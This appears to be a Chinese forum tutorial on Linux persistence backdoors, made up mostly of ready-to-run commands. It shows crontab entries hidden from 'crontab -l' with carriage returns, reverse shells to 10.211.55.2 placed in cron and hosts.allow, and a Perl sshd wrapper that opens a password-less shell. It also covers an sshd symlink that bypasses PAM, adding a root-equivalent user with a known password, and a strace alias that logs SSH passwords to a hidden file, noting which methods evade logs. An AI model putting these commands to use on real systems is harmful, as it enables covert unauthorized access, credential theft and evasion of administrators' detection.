0x00 cron后门
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务
常规使用
[AppleScript] 纯文本查看 复制代码 (crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -
通过这样执行后,该用户可以通过命令来查看见添加的计划任务,不够隐蔽
[AppleScript] 纯文本查看 复制代码 (crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\r %100c\n")|crontab -
# 反弹shell
(crontab -l;printf "* * * * * bash -c 'sh -i >& /dev/tcp/10.211.55.2/12345 0>&1'\n")|crontab -
这样执行后,就无法通过crontab -l来直接查看了
这样也有一个问题,当原本就有计划任务的时候,它最后也会输出一个no crontab for xxx,所以要先看是否有计划任务,有就将该输出内容修改掉
原理:实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。 cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令 可以利用cat这一缺陷,在一些正常脚本文件中插入恶意代码
0x01 ssh wrapper
在目标机上执行以下命令
[AppleScript] 纯文本查看 复制代码 cd /usr/sbin/
mv sshd ../bin
[AppleScript] 纯文本查看 复制代码 # \x00\x004A是13377的大端形式
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[AppleScript] 纯文本查看 复制代码 chmod u+x sshd
service sshd restart
在攻击机上执行以下命令连接
[AppleScript] 纯文本查看 复制代码 socat STDIO TCP4:10.211.55.6:22,sourceport=13377
优点:
1.连接后的命令不会被记录,last查不到登陆记录
2.不影响正常ssh的使用
3.随时可连,无需密码
0x02 ssh软连接
[AppleScript] 纯文本查看 复制代码 ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888
这里的su 可以为/etc/pam.d/下的任意一个文件名
在连接时输入任意密码即可登陆
缺点:
1.会在本地开一个端口进行监听,容易暴露(进程、端口)
2.当该用户被禁止登陆时无法使用此方法登陆,需要一个可以登陆的用户
3.需要ssh开启PAM认证,否则会失败
4.ssh登陆日志中会有记录,命令会被记录
0x03 TCP wrapper
[AppleScript] 纯文本查看 复制代码 echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/10.211.55.2/37789 0>&1") & :allow' > /etc/hosts.allow
在有ssh连接时触发后门回连
缺点:
1.命令会记录在.bash_history中
2.充满不确定性,不确定管理员何时登陆,只能被动等待
0x04 添加用户
# 创建一个用户名guest,密码123456的普通用户
[AppleScript] 纯文本查看 复制代码 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
[AppleScript] 纯文本查看 复制代码 useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
[AppleScript] 纯文本查看 复制代码 useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
[AppleScript] 纯文本查看 复制代码 useradd test;echo -e "123456\n123456\n" |passwd test
# 一句话添加
[AppleScript] 纯文本查看 复制代码 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash
缺点:
1.在/etc/passwd和/etc/shadow中有痕迹,及容易被排查
0x05 ssh 公私钥登陆
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
[AppleScript] 纯文本查看 复制代码 ssh-keygen -t rsa
将公钥(id_rsa.pub)放入目标机器的.ssh/authorized_keys文件中,使用私钥进行连接即可
0x06 strace后门键盘记录
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
[AppleScript] 纯文本查看 复制代码 #vim ./bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# 监听ssh流量,需要一个ssh进程id
ps -ef | grep sshd
alias ssh='strace -f -p 4241 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048'
# source /root/.bashrc
注:本地kali测试时,是修改的.zshrc,bashrc无法source;只能记录本地ssh向外连接的命令和密码
0x0 参考链接https://blog.m7.org/%E4%B8%AA%E4 ... BB%B4%E6%8C%81.html
https://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/
|